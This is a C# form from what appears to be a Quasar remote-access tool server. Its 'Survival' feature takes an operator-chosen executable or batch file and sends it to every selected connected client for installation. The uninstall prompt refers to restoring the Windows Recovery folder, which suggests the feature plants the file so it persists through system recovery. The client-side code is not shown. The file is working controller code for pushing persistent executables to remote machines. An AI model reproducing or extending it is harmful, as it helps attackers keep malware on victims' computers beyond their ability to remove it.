using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Networking;
using System;
using System.IO;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmSurvival : Form
    {
        private readonly Client[] _clients;

        public FrmSurvival(Client[] clients)
        {
            _clients = clients;
            InitializeComponent();
            Utilities.ThemeManager.ApplyThemeToNewForm(this);
        }

        private void btnBrowse_Click(object sender, EventArgs e)
        {
            using (var openFileDialog = new OpenFileDialog())
            {
                openFileDialog.Title = "Select File to Install";
                openFileDialog.Filter = "Executable Files (*.exe)|*.exe|Batch Files (*.bat)|*.bat|All Files (*.*)|*.*";
                
                if (openFileDialog.ShowDialog() == DialogResult.OK)
                {
                    txtFilePath.Text = openFileDialog.FileName;
                }
            }
        }

        private void btnInstall_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrWhiteSpace(txtFilePath.Text))
            {
                MessageBox.Show("Please select a file to install.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            if (!File.Exists(txtFilePath.Text))
            {
                MessageBox.Show("The selected file does not exist.", "File Not Found", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            try
            {
                byte[] fileBytes = File.ReadAllBytes(txtFilePath.Text);
                string extension = Path.GetExtension(txtFilePath.Text);

                foreach (var client in _clients)
                {
                    client.Send(new DoSurvivalInstall
                    {
                        FileBytes = fileBytes,
                        FileExtension = extension
                    });
                }

                MessageBox.Show($"Survival installation command sent to {_clients.Length} client(s).", 
                    "Survival", MessageBoxButtons.OK, MessageBoxIcon.Information);
                
                this.Close();
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Error reading file: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        private void btnUninstall_Click(object sender, EventArgs e)
        {
            var result = MessageBox.Show(
                $"Are you sure you want to uninstall survival from {_clients.Length} client(s)?\n\nThis will restore the Recovery folder to its original state.",
                "Confirm Uninstall",
                MessageBoxButtons.YesNo,
                MessageBoxIcon.Question);

            if (result == DialogResult.Yes)
            {
                foreach (var client in _clients)
                {
                    client.Send(new DoSurvivalUninstall());
                }

                MessageBox.Show($"Survival uninstall command sent to {_clients.Length} client(s).",
                    "Survival", MessageBoxButtons.OK, MessageBoxIcon.Information);

                this.Close();
            }
        }

        private void btnCancel_Click(object sender, EventArgs e)
        {
            this.Close();
        }
    }
}
